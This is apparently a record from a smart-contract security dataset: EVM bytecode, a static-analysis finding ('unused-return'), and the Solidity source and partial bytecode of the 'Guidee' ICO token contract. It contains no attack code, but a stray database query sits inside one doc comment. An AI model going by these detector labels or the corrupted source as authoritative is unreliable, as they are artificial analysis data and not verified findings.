2905061093d60015482610f4c90919063ffffffff16565b90506000600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508215610b0b578073ffffffffffffffffffffffffffffffffffffffff166311d3e6c46040518163ffffffff1660e01b815260040160206040518083038186803b1580156109b257600080fd5b505afa1580156109c6573d6000803e3d6000fd5b505050506040513d60208110156109dc57600080fd5b8101908080519060200190929190505050610ab4670de0b6b3a7640000610aa6610a1786670de0b6b3a7640000610f7290919063ffffffff16565b8573ffffffffffffffffffffffffffffffffffffffff16636f97857b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610a5d57600080fd5b505afa158015610a71573d6000803e3d6000fd5b505050506040513d6020811015610a8757600080fd5b8101908080519060200190929190505050610f1290919063ffffffff16565b610f4c90919063ffffffff16565b10610b0a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806111286022913960400191505060405180910390fd5b5b8073ffffffffffffffffffffffffffffffffffffffff16637af548c160085484866040518463ffffffff1660e01b815260040180848152602001838152602001821515151581526020019350505050602060405180830381600087803b158015610b7457600080fd5b505af1158015610b88573d6000803e3d6000fd5b505050506040513d6020811015610b9e57600080fd5b8101908080519060200190929190505050508073ffffffffffffffffffffffffffffffffffffffff166311d3e6c46040518163ffffffff1660e01b815260040160206040518083038186803b158015610bf657600080fd5b505afa158015610c0a573d6000803e3d6000fd5b505050506040513d6020811015610c2057600080fd5b81019080805190602001909291905050508173ffffffffffffffffffffffffffffffffffffffff16636f97857b6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c7757600080fd5b505afa158015610c8b573d6000803e3d6000fd5b505050506040513d6020811015610ca157600080fd5b81019080805190602001909291905050501115610cba57fe5b5050505050565b600960019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60025481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d4657600080fd5b60008111610d5357600080fd5b8060028190555050565b60035481565b600960009054906101000a900460ff16610de5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f7265626173696e67206e6f74206163746976650000000000000000000000000081525060200191505060405180910390fd5b600654610dfd60045442610f9190919063ffffffff16565b1015610e71576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f746f6f206561726c79000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b610e88600754600654610f7290919063ffffffff16565b610e9d60045442610f9190919063ffffffff16565b10610f10576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f746f6f206c61746500000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b565b600080831415610f255760009050610f46565b6000828402905082848281610f3657fe5b0414610f4157600080fd5b809150505b92915050565b6000808211610f5a57600080fd5b6000828481610f6557fe5b0490508091505092915050565b600080828401905083811015610f8757600080fd5b8091505092915050565b600080821415610fa057600080fd5b818381610fa957fe5b06905092915050565b600082821115610fc157600080fd5b600082840390508091505092915050565b600080610fde83611099565b15610ff25760008081915091509150611094565b60025483111561104a5761103f600254611031670de0b6b3a764000061102360025488610fb290919063ffffffff16565b610f1290919063ffffffff16565b610f4c90919063ffffffff16565b600191509150611094565b61108d60025461107f670de0b6b3a764000061107187600254610fb290919063ffffffff16565b610f1290919063ffffffff16565b610f4c90919063ffffffff16565b6000915091505b915091565b6000806110cd670de0b6b3a76400006110bf600354600254610f1290919063ffffffff16565b610f4c90919063ffffffff16565b905060025483101580156110f45750806110f260025485610fb290919063ffffffff16565b105b8061111f57506002548310801561111e57508061111c84600254610fb290919063ffffffff16565b105b5b91505091905056fe6e6577207363616c696e6720666163746f722077696c6c20626520746f6f20626967a264697066735822122041397be9ac59f9d089d69ebe1ed1e4f9d1fc99f55c06e802020b796ed9c7a8f464736f6c63430006060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
4,844
0xa16e7e16e347c5f49cef6b9297ee79c200ad3889
pragma solidity ^0.4.20; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused.db.getCollection('transactions').find({}) */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract MintableToken is StandardToken, Ownable, Pausable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; uint256 public constant maxTokensToMint = 1000000000 ether; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will recieve the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) whenNotPaused onlyOwner returns (bool) { return mintInternal(_to, _amount); } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() whenNotPaused onlyOwner returns (bool) { mintingFinished = true; MintFinished(); return true; } function mintInternal(address _to, uint256 _amount) internal canMint returns (bool) { require(totalSupply_.add(_amount) <= maxTokensToMint); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } } contract Guidee is MintableToken { string public constant name = "Guidee"; string public constant symbol = "GUD"; bool public transferEnabled = false; uint8 public constant decimals = 18; bool public preIcoActive = false; bool public preIcoFinished = false; bool public icoActive = false; bool public icoFinished = false; uint256 public rate = 10600; address public approvedUser = 0xe7826F376528EF4014E2b0dE7B480F2cF2f07225; address public wallet = 0x854f51a6996cFC63b0B73dBF9abf6C25082ffb26; uint256 public dateStart = 1521567827; uint256 public tgeDateStart = 1521567827; uint256 public constant maxTokenToBuy = 600000000 ether; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 amount); /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this)); return super.transfer(_to, _value); } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint _value) whenNotPaused canTransfer returns (bool) { require(_to != address(this)); return super.transferFrom(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) whenNotPaused returns (bool) { return super.approve(_spender, _value); } /** * @dev Modifier to make a function callable only when the transfer is enabled. */ modifier canTransfer() { require(transferEnabled); _; } modifier onlyOwnerOrApproved() { require(msg.sender == owner || msg.sender == approvedUser); _; } /** * @dev Function to stop transfering tokens. * @return True if the operation was successful. */ function enableTransfer() onlyOwner returns (bool) { transferEnabled = true; return true; } function startPre() onlyOwner returns (bool) { require(!preIcoActive && !preIcoFinished && !icoActive && !icoFinished); preIcoActive = true; dateStart = block.timestamp; return true; } function finishPre() onlyOwner returns (bool) { require(preIcoActive && !preIcoFinished && !icoActive && !icoFinished); preIcoActive = false; preIcoFinished = true; return true; } function startIco() onlyOwner returns (bool) { require(!preIcoActive && preIcoFinished && !icoActive && !icoFinished); icoActive = true; tgeDateStart = block.timestamp; return true; } function finishIco() onlyOwner returns (bool) { require(!preIcoActive && preIcoFinished && icoActive && !icoFinished); icoActive = false; icoFinished = true; return true; } modifier canBuyTokens() { require(preIcoActive || icoActive); require(block.timestamp >= dateStart); _; } function setApprovedUser(address _user) onlyOwner returns (bool) { require(_user != address(0)); approvedUser = _user; return true; } function changeRate(uint256 _rate) onlyOwnerOrApproved returns (bool) { require(_rate > 0); rate = _rate; return true; } function () payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) canBuyTokens whenNotPaused payable { require(beneficiary != 0x0); require(msg.value >= 100 finney); uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); uint8 bonus = 0; if(preIcoActive) { bonus = 25; //25% bonus preIco } if( icoActive && block.timestamp - tgeDateStart <= 1 days){ bonus = 15; } if(bonus > 0){ tokens += tokens * bonus / 100; // add bonus } require(totalSupply_.add(tokens) <= maxTokenToBuy); require(mintInternal(beneficiary, tokens)); TokenPurchase(msg.sender, beneficiary, tokens); forwardFunds(); } // send ether to the fund collection wallet function forwardFunds() internal { wallet.transfer(msg.value); } function changeWallet(address _newWallet) onlyOwner returns (bool) { require(_newWallet != 0x0); wallet = _newWallet; return true; } }
0x6060604052600436106101ee576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b146101f957806306fdde0314610226578063095ea7b3146102b457806318160ddd1461030e57806323b872dd146103375780632aa073c5146103b05780632c4e722e146103dd578063313ce56714610406578063329d5f0f1461043557806334ebb61514610486578063356e2927146104af5780633f4ba83a146104dc57806340c10f19146104f15780634cd412d51461054b5780634d129fb514610578578063521eb273146105a55780635c975abb146105fa578063661884631461062757806370a082311461068157806374e7493b146106ce5780637d64bcb4146107095780638456cb591461073657806389311e6f1461074b5780638da5cb5b1461077857806395d89b41146107cd57806398b9a2dc1461085b5780639c50e7ca146108ac578063a3b6120c146108d5578063a9059cbb146108fe578063a9b0c5a414610958578063b9dc25c514610985578063c4868452146109da578063c8ad27e614610a07578063d73dd62314610a34578063dd62ed3e14610a8e578063ec42f82f14610afa578063ec8ac4d814610b27578063f1b50c1d14610b55578063f2fde38b14610b82578063f669052a14610bbb575b6101f733610be4565b005b341561020457600080fd5b61020c610dc4565b604051808215151515815260200191505060405180910390f35b341561023157600080fd5b610239610dd7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561027957808201518184015260208101905061025e565b50505050905090810190601f1680156102a65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102bf57600080fd5b6102f4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e10565b604051808215151515815260200191505060405180910390f35b341561031957600080fd5b610321610e40565b6040518082815260200191505060405180910390f35b341561034257600080fd5b610396600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e4a565b604051808215151515815260200191505060405180910390f35b34156103bb57600080fd5b6103c3610ed2565b604051808215151515815260200191505060405180910390f35b34156103e857600080fd5b6103f0610ee5565b6040518082815260200191505060405180910390f35b341561041157600080fd5b610419610eeb565b604051808260ff1660ff16815260200191505060405180910390f35b341561044057600080fd5b61046c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ef0565b604051808215151515815260200191505060405180910390f35b341561049157600080fd5b610499610fd4565b6040518082815260200191505060405180910390f35b34156104ba57600080fd5b6104c2610fe4565b604051808215151515815260200191505060405180910390f35b34156104e757600080fd5b6104ef610ff7565b005b34156104fc57600080fd5b610531600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506110b7565b604051808215151515815260200191505060405180910390f35b341561055657600080fd5b61055e611143565b604051808215151515815260200191505060405180910390f35b341561058357600080fd5b61058b611156565b604051808215151515815260200191505060405180910390f35b34156105b057600080fd5b6105b8611244565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561060557600080fd5b61060d61126a565b604051808215151515815260200191505060405180910390f35b341561063257600080fd5b610667600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061127d565b604051808215151515815260200191505060405180910390f35b341561068c57600080fd5b6106b8600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061150e565b6040518082815260200191505060405180910390f35b34156106d957600080fd5b6106ef6004808035906020019091905050611556565b604051808215151515815260200191505060405180910390f35b341561071457600080fd5b61071c61162b565b604051808215151515815260200191505060405180910390f35b341561074157600080fd5b6107496116f3565b005b341561075657600080fd5b61075e6117b4565b604051808215151515815260200191505060405180910390f35b341561078357600080fd5b61078b6118a1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107d857600080fd5b6107e06118c7565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610820578082015181840152602081019050610805565b50505050905090810190601f16801561084d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561086657600080fd5b610892600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611900565b604051808215151515815260200191505060405180910390f35b34156108b757600080fd5b6108bf6119ce565b6040518082815260200191505060405180910390f35b34156108e057600080fd5b6108e86119d4565b6040518082815260200191505060405180910390f35b341561090957600080fd5b61093e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506119da565b604051808215151515815260200191505060405180910390f35b341561096357600080fd5b61096b611a60565b604051808215151515815260200191505060405180910390f35b341561099057600080fd5b610998611a73565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109e557600080fd5b6109ed611a99565b604051808215151515815260200191505060405180910390f35b3415610a1257600080fd5b610a1a611aac565b604051808215151515815260200191505060405180910390f35b3415610a3f57600080fd5b610a74600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611bad565b604051808215151515815260200191505060405180910390f35b3415610a9957600080fd5b610ae4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611da9565b6040518082815260200191505060405180910390f35b3415610b0557600080fd5b610b0d611e30565b604051808215151515815260200191505060405180910390f35b610b53600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610be4565b005b3415610b6057600080fd5b610b68611f30565b604051808215151515815260200191505060405180910390f35b3415610b8d57600080fd5b610bb9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611fb0565b005b3415610bc657600080fd5b610bce612108565b6040518082815260200191505060405180910390f35b6000806000600360179054906101000a900460ff1680610c105750600360199054906101000a900460ff165b1515610c1b57600080fd5b6007544210151515610c2c57600080fd5b600360149054906101000a900460ff16151515610c4857600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff1614151515610c6e57600080fd5b67016345785d8a00003410151515610c8557600080fd5b349250610c9d6004548461211890919063ffffffff16565b915060009050600360179054906101000a900460ff1615610cbd57601990505b600360199054906101000a900460ff168015610ce0575062015180600854420311155b15610cea57600f90505b60008160ff161115610d0d5760648160ff168302811515610d0757fe5b04820191505b6b01f04ef12cb04cf158000000610d2f8360015461215390919063ffffffff16565b11151515610d3c57600080fd5b610d468483612171565b1515610d5157600080fd5b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fbc9b717e64d37facf9bd4eaf188a144bd2c53b675ca7ec8b445af85586d3e382846040518082815260200191505060405180910390a3610dbe61232a565b50505050565b600360159054906101000a900460ff1681565b6040805190810160405280600681526020017f477569646565000000000000000000000000000000000000000000000000000081525081565b6000600360149054906101000a900460ff16151515610e2e57600080fd5b610e38838361238e565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff16151515610e6857600080fd5b600360169054906101000a900460ff161515610e8357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ebe57600080fd5b610ec9848484612480565b90509392505050565b600360199054906101000a900460ff1681565b60045481565b601281565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610f8a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6b01f04ef12cb04cf15800000081565b6003601a9054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561105357600080fd5b600360149054906101000a900460ff16151561106e57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360149054906101000a900460ff161515156110d557600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561113157600080fd5b61113b8383612171565b905092915050565b600360169054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111b457600080fd5b600360179054906101000a900460ff161580156111de5750600360189054906101000a900460ff16155b80156111f75750600360199054906101000a900460ff16155b801561121057506003601a9054906101000a900460ff16155b151561121b57600080fd5b6001600360176101000a81548160ff021916908315150217905550426007819055506001905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360149054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561138e576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611422565b6113a1838261283a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806116015750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561160c57600080fd5b60008211151561161b57600080fd5b8160048190555060019050919050565b6000600360149054906101000a900460ff1615151561164957600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116a557600080fd5b6001600360156101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174f57600080fd5b600360149054906101000a900460ff1615151561176b57600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561181257600080fd5b600360179054906101000a900460ff1615801561183b5750600360189054906101000a900460ff165b80156118545750600360199054906101000a900460ff16155b801561186d57506003601a9054906101000a900460ff16155b151561187857600080fd5b6001600360196101000a81548160ff021916908315150217905550426008819055506001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f475544000000000000000000000000000000000000000000000000000000000081525081565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561195e57600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff161415151561198457600080fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60085481565b60075481565b6000600360149054906101000a900460ff161515156119f857600080fd5b600360169054906101000a900460ff161515611a1357600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611a4e57600080fd5b611a588383612853565b905092915050565b600360189054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360179054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b0a57600080fd5b600360179054906101000a900460ff168015611b335750600360189054906101000a900460ff16155b8015611b4c5750600360199054906101000a900460ff16155b8015611b6557506003601a9054906101000a900460ff16155b1515611b7057600080fd5b6000600360176101000a81548160ff0219169083151502179055506001600360186101000a81548160ff0219169083151502179055506001905090565b6000611c3e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461215390919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e8e57600080fd5b600360179054906101000a900460ff16158015611eb75750600360189054906101000a900460ff165b8015611ecf5750600360199054906101000a900460ff165b8015611ee857506003601a9054906101000a900460ff16155b1515611ef357600080fd5b6000600360196101000a81548160ff02191690831515021790555060016003601a6101000a81548160ff0219169083151502179055506001905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f8e57600080fd5b6001600360166101000a81548160ff0219169083151502179055506001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561204857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6b033b2e3c9fd0803ce800000081565b600080600084141561212d576000915061214c565b828402905082848281151561213e57fe5b0414151561214857fe5b8091505b5092915050565b600080828401905083811015151561216757fe5b8091505092915050565b60